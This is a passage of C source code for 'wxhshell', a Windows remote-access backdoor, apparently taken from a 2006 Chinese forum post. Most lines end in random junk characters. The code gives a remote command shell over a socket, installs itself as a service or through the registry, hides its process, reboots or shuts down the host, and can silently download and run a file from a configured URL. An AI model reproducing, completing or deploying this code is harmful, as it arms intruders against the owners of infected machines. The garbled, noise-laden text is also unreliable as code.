  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %zd1\We  
  } I4  Tc&b  
  else { )wpBxJ;dB}  
/+sn -$/"i  
    switch(cmd[0]) { iyu%o9_0  
  7-w +/fv  
  // 帮助 W&z.O  
  case '?': { >?b/_O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c"H4/,F  
    break; GfJm&'U&  
  } U-3KuR+0  
  // 安装 &EXql']  
  case 'i': { WaN0$66[:  
    if(Install()) ;#3!ZB:}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U v[:Aj  
    else 23pHB |X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `wB(J%w  
    break; sryujb.,  
    } 0UWLs_k:  
  // 卸载 W}WGg|ug  
  case 'r': { _myam3[W  
    if(Uninstall()) !;'U5[}8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EZIMp8^  
    else o&;+!Si@T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {NKDmeg:D  
    break; y= cBpC  
    } [_L:.,]g8  
  // 显示 wxhshell 所在路径 ]Vl * !,(i  
  case 'p': { %I(N  
    char svExeFile[MAX_PATH]; tV*g1)'zX  
    strcpy(svExeFile,"\n\r"); 5^GUuFt5m  
      strcat(svExeFile,ExeFile); u~1[nH:  
        send(wsh,svExeFile,strlen(svExeFile),0); 6rt.ec(  
    break; #R305  
    } 3r+vpyu  
  // 重启 =o{zw+|% %  
  case 'b': { Qgo0uu M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /r[0Dw  
    if(Boot(REBOOT)) GZXUB0W\@)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <|hvH  
    else { B:qZh$YN  
    closesocket(wsh); lp!@uoN^T  
    ExitThread(0); kIrME:  
    } G:c)e ,pD  
    break; *@cXBav/<  
    } b&HA_G4  
  // 关机 !ygh`]6V  
  case 'd': { ;|soc:aH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o8 q@rwu3  
    if(Boot(SHUTDOWN)) :~ zK0v"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9i yNR!  
    else { d@7 ]=P:  
    closesocket(wsh); WkXa%OZ  
    ExitThread(0); 2P!Pbl<  
    } s7(mNpo  
    break; .FqbX5\p,  
    } !wJ~p:vRdY  
  // 获取shell B6MMn.  
  case 's': { ysGK5kFz  
    CmdShell(wsh); asj^K|.z  
    closesocket(wsh); -?2ThvT  
    ExitThread(0); ~-A5h(  
    break; yGZb  
  } $khWu>b  
  // 退出 oq^#mJL  
  case 'x': { s$ &:F4=?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :f 1*-y  
    CloseIt(wsh); IObGmc  
    break; QC \8Zy  
    } dL |D  
  // 离开 1 c3gHc7{t  
  case 'q': { K>lA6i7?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %^2LTK(P  
    closesocket(wsh); ^7Z)/c`"  
    WSACleanup(); jU@qQ@|  
    exit(1); $ze%! C  
    break; -PB m@}*  
        } xs.>+(@|;  
  } jC@$D*"J  
  } &]ts*qCEL  
]6GdB3?UVM  
  // 提示信息 &Jk0SUk MP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DNLqipUw  
} s34{\/'D+  
  } Gi6sl_"q  
3-lJ]7OT  
  return; S'9T>&<Kn  
} //3iai  
FU;Tv).  
// shell模块句柄 r_@;eh  
int CmdShell(SOCKET sock) M// q7SHh  
{ -3_-n*k!  
STARTUPINFO si; Al5E  
ZeroMemory(&si,sizeof(si)); rs]%`"&=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g&`e2|[7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #[qmhU{s  
PROCESS_INFORMATION ProcessInfo; =n cu# T]  
char cmdline[]="cmd"; !L2R0Y:a  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L1VUfEG-  
  return 0; Ha[Bf*  
} brl(7_ 2  
r0+lH:G*q  
// 自身启动模式 g`d5OHvO o  
int StartFromService(void) 7!]$XGz[  
{ 0 x4Xs  
typedef struct K``MS  
{ )U`6` &F  
  DWORD ExitStatus; \5_+6  
  DWORD PebBaseAddress; 3 i Id>  
  DWORD AffinityMask; Q0#oR [(  
  DWORD BasePriority; Dwj!B;AZ_  
  ULONG UniqueProcessId; "|{ NRIE  
  ULONG InheritedFromUniqueProcessId; (Dlh;Ic r9  
}   PROCESS_BASIC_INFORMATION; $.a<b^.Xi  
o:.={)rX  
PROCNTQSIP NtQueryInformationProcess; ~4"adOv  
P%8 Gaa=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sG=D(n1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?w#V<3=  
^vn8s~#  
  HANDLE             hProcess; aqQ YU5l4~  
  PROCESS_BASIC_INFORMATION pbi; 6y)TXp  
47|Lk]+O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n;@PaE^8=  
  if(NULL == hInst ) return 0; s )POtJ<  
+ 0{m(%i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Qj.]I0d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MRR5j;4GK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $]2srRA^A  
Q>8F&p?R  
  if (!NtQueryInformationProcess) return 0; 6}6;%{p"Gu  
(#k>cA(}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]i(tou-[i  
  if(!hProcess) return 0; x4r8^,K3Zn  
;PCnEs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NoTEbFrV  
Se.\wkl#Y  
  CloseHandle(hProcess); _PLY<i2vr  
{_&'tXL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i ?&t@"'  
if(hProcess==NULL) return 0; twv|,kM  
:hJHjh  
HMODULE hMod; n+QUT   
char procName[255]; Ebw1 %W KC  
unsigned long cbNeeded; $N'AZY]4]  
cXU8}>qY7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w#vSZbh  
Zyt,D|eWj  
  CloseHandle(hProcess); "(zvI>A  
#tg,%*.s  
if(strstr(procName,"services")) return 1; // 以服务启动 >Akrbmh5  
UCG8=+t5T  
  return 0; // 注册表启动 '3TwrY?-  
} H .*:+  
f!%G{G^`  
// 主模块 x)N$.7'9OJ  
int StartWxhshell(LPSTR lpCmdLine) )9I>y2WU~  
{ Jmrs@  
  SOCKET wsl; 3#N'nhUzA  
BOOL val=TRUE; ^0)Mc"&{  
  int port=0; fFDI qX  
  struct sockaddr_in door; Uc%n{ a-a  
 ,5!&}  
  if(wscfg.ws_autoins) Install(); +`tl<r g;  
i[_ (0P+Da  
port=atoi(lpCmdLine); yM aU`z  
5.m&93P  
if(port<=0) port=wscfg.ws_port; }<R,)ZV^G  
iO1ir+B\  
  WSADATA data; ;;e\"%}@=q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \d"JYym  
h1}U#XV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R=&9M4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Loz5[L  
  door.sin_family = AF_INET; gZA[Sq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); aF*KY<w  
  door.sin_port = htons(port); CD]hi,B_J  
o>WB,i^G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <Qg).n>;z  
closesocket(wsl); 8(-V pU  
return 1; 4'3do>!  
} %Ms"LoK  
X$*MxMNs  
  if(listen(wsl,2) == INVALID_SOCKET) { Pq\ `0/4_  
closesocket(wsl); kY>jp@w V  
return 1; mzw`{Oy>L  
} e&~vO| 3w%  
  Wxhshell(wsl); LGnb"ZN  
  WSACleanup(); )/HbmtXqI  
KLb"_1z  
return 0; MWdev.m:Z  
L& =a(  
} }9:( l  
d}D%%noIu  
// 以NT服务方式启动 \Ui3=8(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k;5$]^x  
{ 42/MBP`\Y  
DWORD   status = 0; (rKyX:Vsy  
  DWORD   specificError = 0xfffffff; {!RDb'Zp  
f3yH4r?;w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F/pq9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /ILj}g'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OlU')0Y  
  serviceStatus.dwWin32ExitCode     = 0; ->Z9j(JU  
  serviceStatus.dwServiceSpecificExitCode = 0; 1Vf?Rw  
  serviceStatus.dwCheckPoint       = 0; MzEeDN  
  serviceStatus.dwWaitHint       = 0; rR Kbs@1M  
CzMCd ~*7R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0gRj3al(  
  if (hServiceStatusHandle==0) return; NS<C"O  
:1 *q}R   
status = GetLastError(); vEy0DHEE  
  if (status!=NO_ERROR) ^bM\:z"M  
{ m^k$Z0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V}3'0  
    serviceStatus.dwCheckPoint       = 0; tIK`/)w,  
    serviceStatus.dwWaitHint       = 0; 8F>u6Y[P  
    serviceStatus.dwWin32ExitCode     = status; (Q5rOrA"  
    serviceStatus.dwServiceSpecificExitCode = specificError; R*[X. H  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9Lus,l\  
    return; :g%hT$,]3b  
  } WCNycH+1  
zA%YaekJ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mkE_ a>  
  serviceStatus.dwCheckPoint       = 0; Sp7VH+  
  serviceStatus.dwWaitHint       = 0; R$XHjb)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _0cCTQE  
} A<h^.{  
O2pntKI  
// 处理NT服务事件,比如:启动、停止 q t(+X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Hs:0j$  
{ mXYG^}  
switch(fdwControl) !hs33@*u~  
{ 2jf73$F  
case SERVICE_CONTROL_STOP: L< XAvg  
  serviceStatus.dwWin32ExitCode = 0; ?^whK<"]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,? >{M  
  serviceStatus.dwCheckPoint   = 0; NX[-Y]t  
  serviceStatus.dwWaitHint     = 0; ]OSq}ul  
  { >jU25"XI[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0g 2?  
  } Iuyq!R4:7  
  return; ZUyS+60  
case SERVICE_CONTROL_PAUSE: z*a-=w0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z @g%9 |U  
  break; &k@\k<2Ia  
case SERVICE_CONTROL_CONTINUE: XE>w&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; LR "=(  
  break; XF&_**0n  
case SERVICE_CONTROL_INTERROGATE: `@q\R-`  
  break; ^B_SAZ&%%  
}; kYhV1I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  )[S#:PP  
} r>e1IG  
$7QGi|W*k  
// 标准应用程序主函数 l k sNy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lfAiW;giJ  
{ TU6(Q,Yi|  
mtg=v@~  
// 获取操作系统版本 $@D*/@  
OsIsNt=GetOsVer(); wBWqibY|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u`.3\Geh  
4s e6+oJe  
  // 从命令行安装 E<ILZpP  
  if(strpbrk(lpCmdLine,"iI")) Install(); r6eZ-V`4  
_1?nLx7n  
  // 下载执行文件 XDYQV.Bv  
if(wscfg.ws_downexe) { qfkd Q/fP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y7t'I.E[+  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2 \<u;9  
} BM~6P|&qD  
*@{  
if(!OsIsNt) { zviTGhA  
// 如果时win9x,隐藏进程并且设置为注册表启动 /1v:eoF;  
HideProc(); P BVF'~f@j  
StartWxhshell(lpCmdLine); vM@8&,;  
} vX7U|zy  
else ?n]adS{  
  if(StartFromService()) k:&vW21E  
  // 以服务方式启动 yq?\.~ax  
  StartServiceCtrlDispatcher(DispatchTable); Q>q-6/|UX  
else R XCjYzt  
  // 普通方式启动 ?I8r2M]  
  StartWxhshell(lpCmdLine); uHsLlfTn  
MK-+[K  
return 0; !|W.YbS  
}
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只看该作者 1 发表于: 2006-10-10
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